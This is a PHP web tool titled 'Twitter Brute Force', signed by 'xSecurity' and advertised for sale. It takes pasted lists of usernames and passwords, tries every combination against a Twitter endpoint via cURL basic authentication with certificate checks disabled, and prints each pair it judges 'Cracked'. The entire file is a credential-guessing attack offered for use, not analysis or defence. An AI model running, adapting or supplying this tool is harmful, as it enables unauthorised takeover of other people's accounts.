Twitter Brute Force

<?
ob_start();
@set_time_limit(0);
        /*
        * Coder By : xSecurity | Mr.Dm4R
        * Thanks 2 : Mr.Dm4r
        * This Tool For Sale = CashU
        * b0x@hotmail.com
        */

echo "
<form method='POST'>
<title># Twitter Brute Force #</title>
</head>
<style>
textarea {
        resize:none;
        color: #3366FF;
        border:1px solid #3366FF;
        border-left: 4px solid #3366FF;
}
input {
        color: #3366FF;
        border:1px dotted #3366FF;
}
</style>";

echo "
<body text='#FFFFFF' bgcolor='#000000'>
<p align='center' dir='ltr'>&nbsp;<img border='0' src='http://fxcapernaum.younglife.org/AnalyticsReports/Twitter%20Logo.png' width='88' height='77'><b><font face='Tahoma' size='5'><font color='#2AAEDA'>Brure
</font>Force' </font><font face='Tahoma' size='4'>By <font color='#1D82A3'>
xSecurity</font></font><font face='Tahoma' size='5'> '</font></b></p>
<p dir='ltr' align='center'>
<textarea cols='22' class='area' rows='14' name='username'>Username</textarea>
<textarea cols='22' class='area' rows='14' name='password'>Password</textarea><br><input type='submit' value='Start Brute'><br></p>";
if($_POST['username'] and $_POST['password']){
        #function
        function brute($user,$pass)
        {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, "https://userstream.twitter.com/");
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
                curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
                curl_setopt($ch, CURLOPT_POSTFIELDS, "track=twitter");
                curl_setopt($ch, CURLOPT_USERPWD, $user.":".$pass);
                curl_setopt($ch, CURLOPT_FAILONERROR, 1);
                # cURL - Brute Users & Password
                $login = curl_exec($ch);
                $status=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);
                if($status=='404')
                {
                        echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] Cracked : Username : <font color='#FF0000'>$user</font>&nbsp; Password : <font color='#FF0000'>$pass</font></font></p>";
                }
        }
        # POSTS
        $username = explode("\n", $_POST['username']);
        $password = explode("\n", $_POST['password']);

        # Foreach Users N' Textarea
        foreach($username as $users) {
                $users = @trim($users);
        foreach($password as $pass) {
                $pass = @trim($pass);
                brute($users,$pass); }}
        # cURL
        echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>+----------------------------------------------------------------------+</font></p>";
        }
        echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Coded By : xSecurity | b0x@hotmail.com | Thanks 2 : Mr.Dm4R</font></p>";
?>